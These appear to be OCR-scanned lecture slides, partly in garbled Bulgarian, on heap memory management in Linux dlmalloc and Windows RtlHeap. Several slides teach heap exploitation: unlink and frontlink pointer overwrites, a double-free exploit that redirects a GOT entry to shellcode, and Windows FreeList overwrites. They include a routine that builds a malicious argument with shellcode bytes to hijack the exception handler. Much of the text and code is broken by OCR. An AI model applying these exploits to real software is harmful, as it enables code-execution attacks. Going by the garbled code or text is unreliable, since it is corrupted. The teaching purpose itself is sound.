Dynamic Memory management
good and bad news

Common notes

eIn Linux (Doug Lea’s malloc) and in Windows platforms (RtIHeap)
ereserving and freeing variable-size chunks of memory: always part of the client
process
oList of free chunks (in random order or in decreasing or increasing order)
is maintained [Knuth]
eAlgorithm for best-fit or first-fit can be used
eMethods for un-allocation of memory chunks must be performed also. That
means returning to the free space lists and consolidating adjacent areas.

Common dynamic memory management errors

eIn initialization process. for example: malloc() doesn’t zeros memory,

eFailing to check return values for fails or exception. Or check them incorrectly

eReferencing freed memory. Read it will always succeed but no guarantee is not altered
somewhere. Or shared variable can be free and overwritten but used from another process
eFreeing memory multiple times
eImproperly paired memory management functi

/ delete ; malloc() / free()

See example



Figure illustrates another dangerous situation in which memory can
be freed multiple times. This diagram shows two linked list data structures that
share common elements. Such data structures are not uncommon but intro-
duce problems when memory is freed. If a program traverses each linked list
freeing each memory chunk pointer, several memory chunks will be freed
twice. If the program only traverses a single list (and then frees both list struc-
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Doug Lea’s memory allocator — first the theory
used in GNU C library for most Versions of Linux, Red Hat .. (malloc()...)
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Free hst double I1nked structure (the name for thls is ‘b|n )



to remove (unallocate) a chunk from double-linked list (the unlink() macro).
Used when

2/6
(1) memory is consolidated
or a chunk is taken off the free list because of a

(2) new allocation :

<-BK (2)

Temporary variables
¢33
.
(1) FD P ->fd;
"“‘ (2) BK = P ->bk ;
“.’(‘3) FD ->bk = BK;
(4) BK ->fd = FD;
D)/ (1D e
Important
Results
of unlink
Four-step unlink example

equitations

in unlink()
macro



How buffer overflows can crash a program 3/6

When working outside of array boundary is possible. Corrupts data structures and is vulnerable to attacks

because arbitrary code is possible to be addressed.

Bqgth unlink and front-link techniques can be used for this purpose. (1) Unlink technique:
1 Jexample
1. #include <stdlib.h>
2. #include <string.h> 1. A string is written outside boundary of ‘first’
3. int main(int argc, char *argv[]) { 2. “first’ is free()
4. char *first, *second, *third; 3. ‘second’is freed, so system tries to consolidate
5. first = malloc(666); 4. To determine ‘second’ is unallocated — line 10
6. second = malloc(12); // A small block immediately after the first checks PREV_INUSE bit of the ‘third’. How to find it —
7. third = malloc(12); see picture 2. In the case 'second’ is still allocated
8. strcpy(first, argv[1l]); // Unbounded strcpy() is vulnerable hen no consolidation (no unlink occurs) !
9. free(first); // to buffer overflow attack
10. free(second);
E free(thi '33 ; But malicious argument had overwritten the fields in the ‘§econd’:
« gereturn(0)ye., +'Size’ field = -4. So ‘third’ chunk seems be 4 bytes before %econd’
13. } eFalse PREV_INUSE=0. ‘second’-unallocated. Free() consolidates
eAddress supplied by attacker (in bk) is interpreted as back pointer
*This Back pointer’s contents is used by unlink() macro to changé the
value of FD-H12 is

e to an exploit u§fng thewnlink techniqu

means the bk field in the next chunk). But F
L supplied by attacker and may be any address (fp !!! For example)
‘e
2. **% So 4 bytes of data\supplied by an attacker are written ¥o address
PRI EE R R AT af$o.sgpplied by thle atkacker (through line 2 & 3 in yflink proc. )
shasihr ARG "Hv,t.c:lunk 680 bytes
Ferr e " ... /\ T
(bytes-.lb es str\en(she'l'lcode)
Second chunk [dunmy | dumm)\ . \shel1code lBlBlBlB/],(IBI ................ g
R 7
fd bk 3 \ﬂf

Third chunk

 Size of chunk in byt
: ?27Bytes

Using the size field to find the start of the next chunk

.....
....
Second chunk with oJerwritten fj 1 ) macro when called !!! Can jump to ...

L 4
* ¥pe12 in this example

4 bytes 4bytes / 4 bytes 4 bytes
[even dnt] -4 [ fp-1z | addr [\ploints:sgmewhere, so
Wi — s TR 7 unlink() Wil pverwrite
prev size e some address’ *+.,

size when line 10 executes

Malicious argument used in unlink technique



How (2) frontlink technique can crash a program

4/6

When a chunk is freed, it is linked into an double-linked list for consolidation. This is done

( Linux) by frontlink() code execution. (this is a macro, inserted in code segments when needed).
The macro is unifying segments in the bin in descending order of its size.
Technique is similar to unlink() (previous theme).

Attacker su
suitable

Intg this ‘fake chunk is stored the address of a
er - in the location where a ‘Back
Pointer” (of chun ally is stored.
This function pointer may poin e first destructor
func executed (which address can be fou tors
section of the program) The attacker can discover t
address examining the executable image of the code. His
will is to make a substitution — so to point his own
function.

when second is freed (15), frontlink() starts to
unify it with £ifth chunk. As a result the forward
pointer of fifth (address of a fake chunk) is stored
as FD and back pointer from the fake chunk is stored
in variable BK ( BK now contains the address of the
function pointer). So a normal function pointer
is overwritten by a malicious one.
When return(0) occurs a first destr function is called
but ‘fake’ code is executed instead.

lies not an address, but short executable (jm
lace, in the way to substitute a system call to a known function with his own.

instruction for example -4 bytes) in

]\

‘second’ is smaller than *fifth’ — so frontlink() is trying to arrange it

immediately after in the/bin

1. #include <stdlib.
2. #include <stri g.
3. int main(int a
4
5

» char * argv[]) {
econd, *third;

char *fourth, ifth, *sixth;

first = mall rlen(argv[2]) + 1);
seco < _mal oc(1500),
third = ma] (9]
fourth =

char *first,

fifth = ma 1oc(1508);
sixth = m
stre ifst, argV[Z]) {/ malicious arg. contains shellcode and

f"ee(—ﬁ—ﬁth) // last 4 bytes (bk of II )are jmp into it
strcpy (fourth, argv[1]); // Overflows - address of a fake chun

free(second); // is put into forward pointer of the
return(0); /] fifth chunk, because immediately

/| after ‘seeded’ -fourth

Sample code vulnerable to an exploit using the frontlink techniaue
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KakBO BCBbLUHOCT CTaBa B 6510koBeTe naMerT:

LLle ce obeannsiea c V
(cnen Hero)

LLle ce obeanHsiea c II
(npeaxoxaa ro)

3aetu ot strcpy() 6nokose

NoameHeHun noneta (bk n fw cboTBETHO)
BCneacTeme Ha overflow

Fw — Beue couu CTapTOoBMUSA aApec Ha BpeauTesiCKUA, BHeaApeH KoAa

Bcnencrene Ha obeanHsBaHETO Ha ocBoboAeHUTe cerMeHTn V u
IT n noHexe II e cnep V, cbabpXxaHneTo Ha fw wWwe ce 3anuwe
TaM KbAeTo coun bk. T.e. — cTaHgapTHaTa AeCTPYKTOp P-us we
6bae nogMeHeHa Taka, Ye a CouM CTapToBMS agpec Ha
BpeanTesnCKNS Koa



Double — free vulnerabilities

bin -> 3] Forward pointer to first chunk in list
C ‘Back pointer to last chunk in list

P-> | Size of previous chunk, if unallocated
Size of chunk, in bytes

User data

Empty bin and allocated chunk

3. Abnormal situation — structures are corrupted

bin -> ~«F9M§(d pointer to first chunk in list
_ Back pointer to last chunk in list

y| Size of previous chunk, if unallocated
Size of chunk, in bytes 1
Forward pointer to next chunk in list
Back pointer to previous chunk in list
Unused space (may be Obyaes long)
Sizeofchunk

Corrupted data structures after second call of free()

Must: 5/ 6
1. The chunk be isolated: no consolidation can occur
2. The freed chunk must be first into the empty bin

2. double-linked list after free() — a normal situation

Size of previous chunk, if una‘llocated
Size of chunk, in bytes

Forward pointer to next chunk in list

Back pointer to previous chunk in list

Unused space (may be 0 bytes long)

~ Size of chunk ’

Bin with single free chunk

4.

If a request for memory of same size occurs now,

the memory allocator will attempt to allocate it from

the bin. And will succeed.

Invoking unlink() macro to remove the chunk from the bin
of free chunks, leaves the pointers unchanged.

As a result if additional requests for allocation occur

for a chunk of a same size — the same chunk will be returned.

It's wrong!!!

But the worst is :

In this situation malloc() can be used to execute malicious code:

\>



Example program where double free vulnerability exists: 6 /6

1. static char *GOT_LOCATION = (char *)0x0804c98c; “—————___________’

2. static char shellcode[] =

3., "\xeb\x0cjumpl2chagrs_" Let be the address of strcpy()
4. "M\x90\x90\x90\x90\x 90\x90\x90" (4 bytes)

o : in the global offset table —
5., Invensdimiiold) must be difficult, but possible
7. int size = sizeof(shellcode); - -

8.  void *shellcode_location: to find this address (for the
9. void *first, *second, *third, *fourth; current heap structures)
10. void *fifth, *sixth, *seventh;

11. shellcode_location = malloc(size);

12. strcpy(shellcode_location, shellcode);

13. first = malloc(256); // thisis the target block for the exploit 4 bytes, that will be put

14.  second = malloc(256); in desired place: where

15. third = malloc(256);

fourth = malloc(256); GOT_LOCATON points

free(first); [/ firstis now in the cache bin — unlink() will not be called for cache
free(third); // now ‘first’is put into regular bin

fifth = malloc(128);

free(first); // second free() for ‘first’

sixth = malloc(256);

*((char **) (sixth+0))=(GOT_LOCATION-12);

*((char **)(sixth+4))=shellcode_location;

seventh = malloc(256);

strcpy(fifth, "something");
retugﬁ\oi\\\\\\\\

Double-free exploit code

eFirst Chupk must not be consolidated with other free chunks n freed: the bin was empty & second is not freed
eHaving allocated ‘second’ and ‘fourth’ chunks (between I and III) p nts the third being consolidated.
eAllocating fifth (19) split the memory of the third
eFreeing first second time (20) sets up the double free vulnerability — when sixth iS allqcated (21) the same chunk
pointgr (to first) is returned. Some elaborated data are copied into this memory (lines 22
eSeventh chunk is allocated in the same memory (24). Unlink() macro copies the address of the Shellcode onto the
address of the strcpy() in the global offset table (same as ‘unlink” technique before). Then when strcpy() is called (25),

control is transferred to shellcode !!!




YnpasneHume Ha naMmetta B Windows

CTpaHMuYHa opraHM3auusa Ha aApPeCcHOTO NPOCTPAHCTBO (cTp. no 4K;
::GetSystemInfo(); padfile.sys; BanvaHn n HeBanMAHW CTpaHULM,)

BUPT. aapec CbAbPXK.
0- 64 Kb CITy)KebHM
Hapa 64 Kb 3a MOAY/IM Ha U3NbJIHUMUA pann
HaA ropHus 3a heaps u threads stacks
Haa TaX 3a DLL
Hap TAX cucrteMmHm DLL: Kernel32, User32, GDI32 n OC
2I'b —4I'b 3a Hy»xauTe Ha OC




PaboTa c auH. nameTt oT heap Ha npouec: HeapAlloc() 3a ronemu u VirtualAlloc() 3a manku 6nokose

1.Pe3epBupaHe: sapens ce (Mapkupa ce )6,10k c onpeaesieHa roJieMMHa B
paMKUTE U 3a HYXAUTEe Ha npoueca. To3m 6710k NOBOPHO HE MOXKe Aa ce
pe3epsupa
pMem = VirtualAlloc(<Hau.apgpec Ha 6noka nnmn NULL>, <6po# cTp. 3a
pe3epBupaHe>, MEM_RESERVE.., <npaBa Ha AoCTbnN>); // KpaTHO Ha 64K

2. 3agensHe (commit_): no crpaiuum (Hanp. 4K) n no Heo6xoamnmocrT, B Ol u B swap file ot
pesepBupaHarTa. (VlrtuaIAIIoc( ., MEM_COMMIT,..). EnBa cera Mo)xe Aa ce U3nos3sa naMmerra.
Cnea n3uyepnBaHeTo U — reHepupa exception: exceptlon_guard_page Torasa:

e ) __except(GetExceptionCode() == ....... ){...}

EXCEPTION_GUARD_PAGE

guard page ——>
] ] }

JOoNb/IHUTENHO 3a4eneHa nameT

S

n3nosiaBaHa 4acrt

n3nosizeaHe /




EnemMeHTV Ha BMpTyaJsiHaTa OpraHu3aumsa Ha namMeTTa:
- 4GB kbMnpouec, pa3aeneHu Ha cTtpaHuum; CR3->points 1page table dir
(1024 page-tables) > 1 page-table points 1024 pages
- flags for: ‘page present’; ‘page fault’; anHamnuyHo cBansiHe Ha cTp. Ha auck; swap file.
- EXE n DLL ce acoumupart cbc swap file, 6e3 ga ce 3anucsart B Hero.

- Shared 6510k0Be: B agp. NPOCTPAaHCTBO Ha > OT 1 npouec, HO eAHOKpPaTHO 3aAesiIeHu:

npouecl ¢u3nuecka namer npouec2 3alwmTa Ha BUpPT.NaMeT:
e OTA. aAp. NPOCTPAHCTBA
e User/kernel code
- I . —  6ensizaHu cTp:
- o** protected
o¥* R/W;
o**axecute only
o** guard

o** no access;
o** copy on write

<«
NMoaensHe Ha rnobanHu aoaHHM M/Aay npouecum: OTAEJIHU KOMUS U OTJZIOXKEHO pa3MHOXKaBaHe
- Lazy evaluation
copy-on-
write




Windows memory management (wit

h RtiHeap)

RtlHeap is the memory manager on Windows. Uses API functions for memory management

5 sets of Windows API functions:

G o Al Replleadial o
(3) Local, global | (4) CRT memory
v memory API functions L

. (2) Heap memory API
1. 4K pages, reserved, committed, page management BT (e =
2. HeapCreate(), process heap, GetProcessHeap() (1) Virtu
3. Only for compatibility with old versions
4. 1In Win32 environment (C Run-time Library)
5. Discussed later
Rt/Heap data structures: Win32 memory management APIs

-Process environment block(PEB) —info about internal data structures, number and addresses of heaps
-Free lists: located at 0x178 from the start of the heap (HeapCreate()). Used to keep track of free chunks

Contains 128 double linked lists chunks of the same size (exception is FreeList[0] —
containing buffers >1024 bytes)

-look-Aside lists: up to 128 single linked lists

Si 1400 It;[ 2000 I_,‘—L 2000 li:l 2408 Jﬂ

Nt/

for small memory blocks (<1K)-to speed up allog(

-Memory chunks: a control structure :

BT M

associated with each allocated chunk
by HeapAlloc() or malloc(). The structure
precedes the address returned by 8

bytes.

(o =l s

g

FreelList data structure



01—Busy
02—Extra present
04—Fill pattern
08—Virtual alloc
10—Last entry
20—FFU1
40—FFU2
80—Don’t coalesce

—>

Control structure (for 1 memory chunk) associated
with each allocated by heapAlloc() or malloc()

Previous chunk | S t Unused | Tag ind i
Self size dalii e yixiiyiad Flags ;‘y“t’es (‘geb':. ;)x chunk (all chunks are multiples of 8)

After free() or HeapFree() memory is added to
the coresponding free list

with index for memory chunks of that size (see prev. slide) Self size Previous chunk | Segment i Unused | Tag index
Pointers point to free lists of same size size index 9% | bytes | (debug)

or to the head of the list. \
B T aenia e QUGN

Memory is left in its place.

> Previous chunk

E

Free chunk



Buffer overflows in Windows — how they occur:

- When overwriting forward or backward pointers used in double —linked lists.
This results in changing the normal execution flow and invoking attacker supplied code.

Figure shows an example of how this occurs :

This is the return address f{the function of the example (may be any other executable address)

unsigned char shellcode[] = "\x90\x90\x90\x90";

unsighed char malArg[] = "0123456789012 345/ overwrites user data
"\ x053x00\x03\x00\x00\ x00\ x08\x00Q" // overwrites the boundary tag
"\ xb8\xf5\x12\x00\ x40\ x90\ x40\ x00" ; // willoverwrite pointers

3. void mem(Q) {

4. HANDLE hp;

S HLOCAL hl = 0, h2 = 0, h3 = 0, h4 = 0;

iqterq point to

N R

echunks are contiguous
e creation of a gap
eChunk h2 is in FreelLis

(fd and bk) head of FreelList ~ ©6- hp = HeapCreate(0, 0x1000, 0x10000) j/initial size 1000,max 10000
eBuffer overflow (11) Zs hl = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);

eLast 8 bytes in malArg[] overwrites the
pointers to the next and previous chunks.
‘Next” is overwritten by the address that will be

9. h3 = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 416) ;
10. HeapFreeChp,0,h2);
813 I memcpy (hl, malArg, 32);

A

174

overwritten (in the case — the return address qn ;5 h4 — HeapAlloc(hp, HEAP_ZERO_MEMORY, l128);
the stack). ‘Previous’ address chunk is 13. return:

overwritten with the address of a shellcode. 4753

eHeapAlloc() (12) allocates the same memory

eThen return address is overwritten with 15. int _tmain(int argc, _TCHAR* argv[]) {
address of shellcode 16. mem() ;

*When return in mem() occures (17), 17. return 0O;

the control is passed to the shellcode. 18. 1}

I Exploit of buffer overflow in dynamic memory on Windows



Buffer Overflows

The heap-based overflow exploit from Figure () required that the overwrit-
ten address be executable. While this is possible, it is often difficult to identify
such an address. Another approach is to gain control by overwriting the
address of an exception handler and subsequently triggering an exception.

Figure < shows another program that is vulnerable to a h-eap-based
overflow resulting the strcpy () on line 7. This program is different from
the vulnerable program previously shown in that there are no

fiﬁﬁﬂﬂaﬁlﬁﬁiﬁ‘ém lowed by the memory allocated for h1, followed by the segment trailer. When

of FreeList[] and is overflowed on line 7, the resulting over overwrites the segment
containing 2 pointers ; 4 : .
(flink, blink) trailer, including the LIST_ENTRY structure that points (forsward and backward)

these pointers would only be referenced again in the case where a progr
requested another freed chunk of the same size[line 8] .

These pointers will likely be referenced in the next call to RtHeap — triggering an exception



w

H

M

e
w N

14.
15.
16.
17
18.

= O VW0 NOW

int mem(char *buf) {
HLOCAL hl = 0, h2 = 0O;
HANDLE hp;

hp = HeapCreate(0, 0x1000, 0x10000) ;

if ('hp) return -1;

hl = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 260) ;
strcpy((char *)hl, buf);

h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);
printf("we never get here");

return O;

}

int main(int argc, char *argv[]) {
HMODULE 1;

1 = LoadLibrary("wmvcore.dl11");

buildMalArg() ; // this user function is discussed later
mem(buffer) ;

return O;

Program vulnerable to heap-based overflow



hl

00ba0680 22 00 08 00 00 01 Oc 00 61 61 61 61 61 61 61 61
00ba0690 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 Heap after HeapAlloc() [line 6].

User memory

00ba0780 61 61 61 61 61 61 61 61
00ba0790 ©Oe 01 22 00 00 10 00 00

4 bytes added (multiple of 8)

Organization of the heap after first HeapAlloc
Overwritten pointers on line 7

The Figure shows the organization of the heap after the \tall to HeapAlloc()
on line 6. The hl variable points at 0x00b30688, which ig the start of user
memory. In this example, the actual user spac¢ has been filled with 0x61 to dif-
ferentiate it from other memory. Because the \allocation of 260 bytes is not a
multiple of eight, an additional four bytes of memory are allocated by the
memory manager. These bytes still have the vhlue 0x00 in Figure . Fol-
lowing these bytes is the start of a large free chunk of 2160 byte§ (0x10e x 8).
Following the eight-byte boundary tags are the forward pointer\(f1ink) and
backward pointer (b1ink) to FreeList[0] at 0x00ba0798 and 0x00ba079c.
These pointers can be overwritten by the call to strcpy() on line 7 to transfer

control to user-supplied shellcode.
How this can occur - see the next slide



Code that can be used to create a malicious argument for attacking the vulnerability
of the function mem() in the example

We shall replace the address of the exception handler in the following example:

1. char buffer[1000]="";

o st verwrites the forward (the address

3. int addr = 0, i = O; Twill b f d d
4. unsigned int systemAddr = O; ol will be transferred) an

5 char tmp[8]1="";

ard pointers — this value
e address where Windows

6. systemAddr = GetAddress("msvcrt.dl11","system") ;
7. for (i=0; i < 66; i++) strcat(buffer, "DDDD"); stores the address of the user handler
8. strcat(buffer, "\xeb\x14"); (set by SetUnhandledExceptionFilter()
9. strcat(buffer, "\x44\x44\x44\x44\x44\x4 to replace the normal unhandled
10. strcat(buffer, "\x73\x68\x68\x08") ; . _ -
11. strcat(buffer, "\x4c\x04\x5d\x7c") ;//address of the exception exception handler by a user-defined.)
xS ndler in Windows _
22. for (i=0; i < 21; i++) strcat(buffer,’ 5 When next allocation occurs, because of
4 s i the corrupted pointers, allocation will
% stra uffer, -
"\ x33\xCO\X50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9" another address space, address
> of malicio will replace the normal
14. fi xupa?griises Ctmr)h systemAddr) ; exception handler (0x7C5D044C) and
15. strcat(bu er,tmp); ; ; B
Re strcatlbuffer . "\xFF\xD1\x90\x90") ; an exception will be triggered.
7. return; The control is transferred to the
18. 1} supplied address, not the normal

unhandled exception handler.

B e e e e ]

Preparation of shellcode for buffer overflow




Memory mapped file

(acounmpaHe Ha ¢aiin ¢ agpecHO NPOCTPAHCTBO OT NaMeTTa)

Cnep TOoBa, KoraTo ce 3asiBU AOCTbMN A0 CTPaHULa OT NaMeTTa, memory manager s
yere OT AucKa u nbxa B RAM. ETO KaK ce pa3BMBa NpoLechbT:

NDLE hFile = ::CreateFile(....) //cp3gasame file handle
= 1:CreateFileMapping(hFile, ...); //mannnynarop Ha file mapping object
:: MapViewOfFile(hMap,.. ); // "Man” Ha yesins nam Ha 4act or ¢hainsia

[Ba npoueca morar aa non3sart obwy hMap, 1.e. Te uMmaT o6wWwa nameT (CaMo 3a ueTeHe).
IpvFile pa3bupa ce e pasnunueH.

3a na nmaMme obwia namer:
( dyHkumsaTa GlobalAlloc(..., GMEM _SHARED,..); B8 Win32 He npaBu shared 610k, kakto 6ewe B Win16.)

O6wa naMer, HO He oT 06wy pann:
KakKTo no-rope, 6e3 CreateFile() u c nopaBaHe Ha napaMm OxXFFFFFFFF BmecTo hFile.

Cb3aaBa ce nogeneH file-mapping o6ekt (Hanp M/Aay npouecu) c ykasaH pasmep B paging
d¢daina, a He kaTo otaeneH ¢gain. (MFC HAaMa noaapbXKKa Ha To3u MexaHu3bM — CSharedFile
npasu o6MeH Ha 06K aaHHM npes clipboard.)



* Hama pasnuka Mm/ay rnob6aneH n nokaneH heap. Bcmuko e B pamkute Ha 2GB naMmer 3a

NMPUNOXXEHUNETO.

*nonsBanTe p-mute 3a pabora c namert Ha C/C++ M K1acoBeTe, aKo HAMATe CrneluasiHm

U3NCKBaHuUA,

* cy3paBaiiTe cBoM, Win Bukaiite API ¢-um npu no-cneunasiHu cyyaum;

Buaa heap: 1 aBTt. 3ageneH ot OC 3a npunoxeHuero(GlobalAlloc(),koaTo BUKa

E

HeapAlloc(),nnn no-necHo- paborta ¢ malloc/free,unm owe no-necHo- new/delete)
" 2. cobcTrBeHu heap 6nokose:

=Cb3[aBaHe hHeap = HeapCreate(,,.pa3mep);

[/ /MOXe CMHXpOHM3UpaH AOCTbN A0 Xuna oT noseye ot 1 thread B paMkuTe Ha npouec

= 3apeNnsiHe NaMeT OT Cb3AaAeH pHeap = HeapAlloc(hHeap, onuuu, pa3smep);

= 0CBO6OXaBaHe HeapFree();

Hakou cbBeTn npu paboTta cbc cobcTBeH heap

* Cb3paBauTe sokaneH heap B pamkute Ha cBomTe Kknacose (no 1 3a kiac)

** n36sirea ce ce pparMeHayusitTa npy npoabv/HKUTENHa paborTa.

** HapacTBa 6e30nacHOCTTa, Nopaau U3oJlaumMsaTa B paMKM Ha npouec

**no3sonsiBa moancdunumpaHe Ha new, delete onepaTopuTte, KOHKpPETHO 3a
KJ1aC, B paMKTe Ha KOHCTpykTopa. CbbnrogaBanTe cxemara:

1. aKo He e cb3aaAeH, cb3aaBa ce private heap n ce vHMyunanmsunpa
CBbp3aH C Hero 6posiu (Ha M3NoN3BaHUATA)

2. 3aaenfT ce Heobxoaumusa 6pon 6anTose;

3. MHKpeMeHTupa ce 6posivua.

Mo aHanornyHa cxema ce npeaeduvHnpa n onepaumsa delete



Hakou cbBeTH Npu pabota c AMHAMMUYHA NaMeT

* nocreneHHa ¢pparMeHTauua Ha NaMeTTa.

*B Ha _heapmin() npeau 3apensiHe Ha rosemMu 6;710koBe 3a NpeKoMnoHupaHe Ha heap.
3a manku 6nokoBe delete() e pocTtaTbueH;

* MMHMMM3MPaANTE AAHHUTE, KOUTO MOoraT ia nonapat B swap (davna (BKapBauTe B pecypcu win
“UHHUNAINZUPAHN, KOHCTAHTHU AaHHHK'. Te ce MeHaXKMpart pa3/iIn4yHo)

* CTEeKbT Beye He e orpaHuyeH Ao 64K v ctaBa TONIKOBa roJsisiM, KOJIKOTO € Heo6xoaAuMmo:
nonssanTe ro BMeCTo AUHaM. NaMmer.

CrobpaxkeHus npu paboTta € KOHCTAHTHW AaHHU (Hanp. HM30Be):
* EXE n DLL He npaBsaT npobnem — Te ca eAHOKPaTHO B NMaMeTTa unu B ‘swap ¢anna’
ToraBa, Aoobpe 6m 6uno un KOHCTaHTI-M:l'e\D,aHHVI Aa Ca KaTo TaX:

A

* pn paboTa ¢ HM30Be OT Tuna CString, (KOKUTO HeNnpecTaHHO 3aaens/ocBob. Manku

06emMu namer):

- AKO HU3DBT € HENPOMEHSIEM 3a LSJIOTOU3NMbJ/IHEHME, AeK/lapupaunTe:

const char mystr[] = “"my string™;

(cbxpaHsiBa ce 3aefHO C koaa —B cekumsaTta .rdata Ha EXE. Te ca n3BbH swap file)
YyaecHo!



- 0 HM3DT e ce cb3aaBa kato C++ 06ekT ( npe3 KOHCTPYKTOp), MMauTe

npeasua, Ye B cekums .rdata He ce nocTaBAT 06eKkTH, Cb3AaAeHM npes

KOHCTPYKTOp:

CString my_string("my new constructed string”);
06eKTHbT Ce KOHCTpyUpa B oTaenHa cekuus ( .bss — HemHMUMannu3MpaHu faHHK, cnen KoeTo ce
nonb/BaT MHULMANIM3PALUMTE MO CTOMHOCTH), CbAbPXKAaHMETO Ha KOATO Ce BKapBa B swap ¢anna.
(vHMUManu3npawmTe CTOMHOCTM Ce NOMbJIBaT C/ief 3apeXAaHe Ha exe-To B MaMeTTa, T.e. Mo BpeMe Ha
M3nbsiHeHne. OueBMAHO 06eKTHLT He MoXKe Aa ce “npukaun” kbM EXE-10).

- aKO HU3DBT Ce AeKnapuvpa Kato rnobanHa wnm static npomennmea npes
KOHCTPYKTOP Ha KJac:
static CString my_str(“new instance”);
TOoBa BOAM A0:

1. nocrtaBsiHe Ha CString o6ekT B .bss cekuyusaTa (B swap),
2. MacuB OoT cumBonuTe B .data (3a MHMLaANM3MpaHN, HEKOHCTAHTHU AaHHWN)

cekuus. ToBa e otaesniHa (HOBa) naMer.
3. Konue Ha CUMBOJIUTE B AMHAMUYHATa NaMeT Ha BCEKU CTapTUpaH npoLec.

Huwo He nonaaa B EXE  BCMYKO Xapuu naMerT.
CneposaTtenHo, no-gobpe e Macue OT cMMBOAK (MbpBUS NoAxon),
OTKONIKOTO 06eKkT CString



